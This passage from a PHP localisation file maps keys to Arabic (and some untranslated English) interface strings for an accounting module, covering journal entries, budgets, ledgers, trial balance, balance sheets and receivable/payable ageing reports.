'تعديل تفاصيل نوع الحساب', 'parent_type' => 'نوع الحساب الرئيسي', 'no_accounts' => 'لايوجد حسابات', 'add_default_accounts_help' => 'Would you like us to create default accounts? Default accounts can be edited/deleted after it is created', 'add_default_accounts' => 'Create Default Accounts', 'journal_entry' => 'قيد اليومية', 'debit' => 'مدين', 'credit' => 'دائن', 'total' => 'المجموع', 'credit_debit_equal' => 'يجب ان يكون الدائن والمدين متساوين للاستمرار', 'select_all_accounts' => 'حدد حسابًا لجميع الصفوف المستخدمة', 'journal_date' => 'تاريخ القيد', 'edit_account' => 'تعديل الحساب', 'chart_of_account_overview' => 'نظرة عامة على مخطط الحسابات', 'current_balance' => 'الرصيد الحالي', 'transfer' => 'تحويل', 'add_transfer' => 'اضافة تحويل', 'edit_transfer' => 'تعديل تحويل', 'activated_successfully' => 'تم تفعيل الحساب بنجاح', 'deactivated_successfully' => 'تم تعطيل الحساب بنجاح', 'budget' => 'الميزانية', 'financial_year_for_the_budget' => 'السنة المالية للموازنة', 'continue' => 'استمرار', 'budget_for_fy' => 'الموازنة المالية لسنة :fy', 'monthly' => 'شهري', 'quarterly' => 'ربع سنوي', 'yearly' => 'سنوي', '1st_quarter' => 'الربع الاول', '2nd_quarter' => 'الربع الثاني', '3rd_quarter' => 'الربع الثالث', '4th_quarter' => 'الربع الرابع', 'ledger' => 'دفتر الأستاذ', 'reports' => 'التقارير', 'view_report' => 'عرض التقرير', 'ledger_report' => 'تقرير دفتر الأستاذ', 'ledger_report_description' => 'The ledger report contains the classified and detailed information of all the individual accounts including the debit and credit aspects.', 'ledger_add_account' => 'أضف بعض الحسابات لعرض تقرير دفتر الأستاذ', 'select_a_financial_year' => 'حدد سنة مالية لعرض الميزانية', 'trial_balance' => 'ميزان المراجعة', 'trial_balance_description' => 'A trial balance displays summary of all ledger balances, and helps in checking whether the transactions are correct and balanced.', 'balance_sheet' => 'الميزانية العمومية', 'balance_sheet_description' => 'This report gives you an immediate status of your accounts at a specified date. You can call it a "Snapshot" view of the current position (day) of the financial year.', 'assets' => 'الاصول', 'liab_owners_capital' => 'الخصوم ورأس مال المالك', 'total_liab_owners' => 'إجمالي المطلوبات ورأس مال المالكين', 'total_assets' => 'إجمالي الأصول', 'account_setting' => 'اعدادات الحسابات', 'reset_data' => 'اعادة تعيين البيانات', 'reset_help_txt' => 'سيؤدي هذا إلى حذف جميع بيانات المحاسبة. ولا يمكن إرجاع البيانات.', 'opening_balance' => 'الرصيد الافتتاحي', 'tree_view' => 'عرض شجرة', 'tabular_view' => 'عرض جدول', 'expand_all' => 'فتح الكل', 'collapse_all' => 'اغلاق الكل', 'export_to_pdf' => 'تصدير إلى PDF', 'export_to_csv' => 'تصدير إلى CSV', 'export_to_excel' => 'تصدير إلى Excel', 'transactions' => 'عمليات المبيعات', 'sales_payments' => 'مدفوعات المبيعات', 'map_transaction' => 'ربط العملية', 'edit_mapping' => 'تعديل الربط', 'deposit_to' => 'الإيداع', 'payment_account' => 'حساب الدفع', 'purchase_payments' => 'مدفوعات المشتريات', 'access_accounting_module' => 'الوصول إلى قسم المحاسبة', 'manage_accounts' => 'إدارة الحسابات', 'view_journal' => 'عرض دفتر اليومية', 'add_journal' => 'اضافة قيد يومية', 'edit_journal' => 'تعديل قيد يومية', 'delete_journal' => 'حذف قيد يومية', 'map_transactions' => 'ربط العملية', 'view_transfer' => 'عرض التحويل', 'add_transfer' => 'اضافة تحويل', 'edit_transfer' => 'تعديل التحويل', 'delete_transfer' => 'حذف التحويل', 'manage_budget' => 'ادارة الميزانية', 'view_reports' => 'عرض التقارير', 'journal_entry_prefix' => 'Journal Entry Prefix', 'transfer_prefix' => 'Transfer Prefix', 'account_recievable_ageing_report' => 'تقرير تقادم الحسابات المدينة (ملخص)', 'account_recievable_ageing_report_description' => 'This reports shows summary of all the sales pending invoices in mentioned days range as per the due date.', '1_30_days' => '1 الى 30 يوم', '31_60_days' => '31 الى 60 يوم', '61_90_days' => '61 الى 90 يوم', '91_and_over' => '91 يوم و اكثر', 'account_payable_ageing_report' => 'تقرير تقادم الحسابات الدائنة (ملخص)', 'account_payable_ageing_report_description' => 'This reports shows summary of all the purchase pending invoices in mentioned days range as per the due date.', 'account_receivable_ageing_details' => 'تفاصيل عمر حساب المدين (التفاصيل)', 'account_receivable_ageing_details_description' => 'يظهر هذا التقرير تفاصيل جميع المبيعات المعلقة في الفواتير ضمن نطاق الأيام المحددة حسب تاريخ الاستحقاق.', 'current' => 'حالي', 'invoice' => 'فاتورة', 'total_for_current' => 'الإجمالي الحالي', 'days_past_due' => ':days أيام من المتأخرات', 'total_for_days_past_due' => 'الإجمالي لمدة :days يومًا من المتأخرات', 'total_for_91_and_over' => 'الإجمالي لأكثر من 91 يومًا من المتأخرات', 'account_payable_ageing_details' => 'تفاصيل عمر حساب الدائن (التفاصيل)', 'account_payable_ageing_details_description' => 'يظهر هذا التقرير تفاصيل جميع المشتريات المعلقة في الفواتير ضمن نطاق الأيام المحددة حسب تاريخ الاستحقاق.', '91_and_over_past_due' => 'أكثر من 91 يومًا من المتأخرات', 'add_more_row' => 'إضافة مزيد من الصفوف', ];